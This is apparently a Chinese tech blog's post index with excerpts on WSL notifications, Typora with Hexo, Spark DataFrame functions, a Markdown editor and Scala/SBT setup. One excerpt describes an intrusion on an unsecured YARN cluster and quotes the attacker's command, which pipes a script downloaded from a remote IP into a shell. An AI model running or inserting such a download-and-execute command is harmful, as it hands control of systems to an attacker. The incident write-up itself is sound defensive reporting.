需求场景:本人使用 Windows 10 操作系统,终端为 WSL(Windows Subsystem for Linux) 就是一个 Linux 子系统,可以运行各种 Linux命令,当我用 wget 下载一个大的文件的时候,可能要等很久,但是我不知道什么时候会下载完,这时候需要他完成之后给我发一个通知,这个通知在原生 Linux 和 Mac 上是比较容易的,这里说一下在 Windows 下的设置。

阅读全文 »

Typora 是一个非常优秀的 Markdown 编辑器,与大部分编辑器不同,它使用了一种所及即所得的编辑模式,输入 Markdown 格式的文字,实时渲染。

我用的 Hexo 博客系统,里面的图片路径比较特殊,/images/xx.png 这种路径,一般编辑器是无法识别的,去网上搜了一圈也没找到到底如何在 Typora 中设置,最后在官方文档中找到了。

阅读全文 »

本文基于 Spark 2.x,除特殊说明,代码均为 Scala

函数详解

import

使用 DataFrame 通常需要 import org.apache.spark.sql.functions._,这里引入了 col, lit, udf, sum, max, avg, agg 等常用函数

阅读全文 »

最近利用 Ambari 重新搭建了一个集群,今天发现 ResourceManager UI 里面有一些奇怪的作业,类型是 yarn,由 dr.who 提交的名为 MYYARN 的作业,最早从2018年4月30日开始,每隔几分钟就有一个,作业内容完全一样。

里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown",IP 来自俄罗斯,俄罗斯的黑客真是厉害呢。

阅读全文 »

小书匠是一个功(zhong)能(liang)强(ji)大的 MarkDown 文档编辑器,除了支持常规的 MarkDown 语法,还要很多扩展语法(代码高亮 ,gfm ,脚注 ,上标 ,下标 ,文字高亮 ,注音 ruby ,缩写定义 ,表格 ,emoji 表情 ,文字插入 ,文字居中 ,todo ,视频 ,音频 ,附件 ,属性 ,表格 ,合并单元格式表格 ,mathjax 数学公式 ,plantuml uml 图 ,mermaid 时序图,流程图,甘特图等 ,sequence 时序图 ,codeChunks 代码块执行 ,wavedrom ,nunjucks ,plot 统计图),多种编辑器,主题,以及自定义CSS等功能,支持印象笔记、Github、Dropbox 等,以及常见的各种图床。功能详见官网

轻量级的需求可以直接在官网上用在线版的就可以了,要想获取完整的体验还是需要下载客户端,全平台支持的(nwjs 开发的),非开源,其 Github 只是提 Issue 用的。

阅读全文 »

一直使用 Windows 下的 IDEA 做 Scala Spark 程序开发,打包后用 WinSCP 上传到服务器运行,很麻烦,所以就想在 Linux 服务器上部署 Scala、SBT 来编写 Spark 程序。再编写一些简单脚本,肯定可以使编译、打包、运行一气呵成。当然了,也是有缺点的,就是没有了 IDE,写代码就困难了(哭)。还有就是 vim 的支持情况,默认是不识别 scala 文件的。

阅读全文 »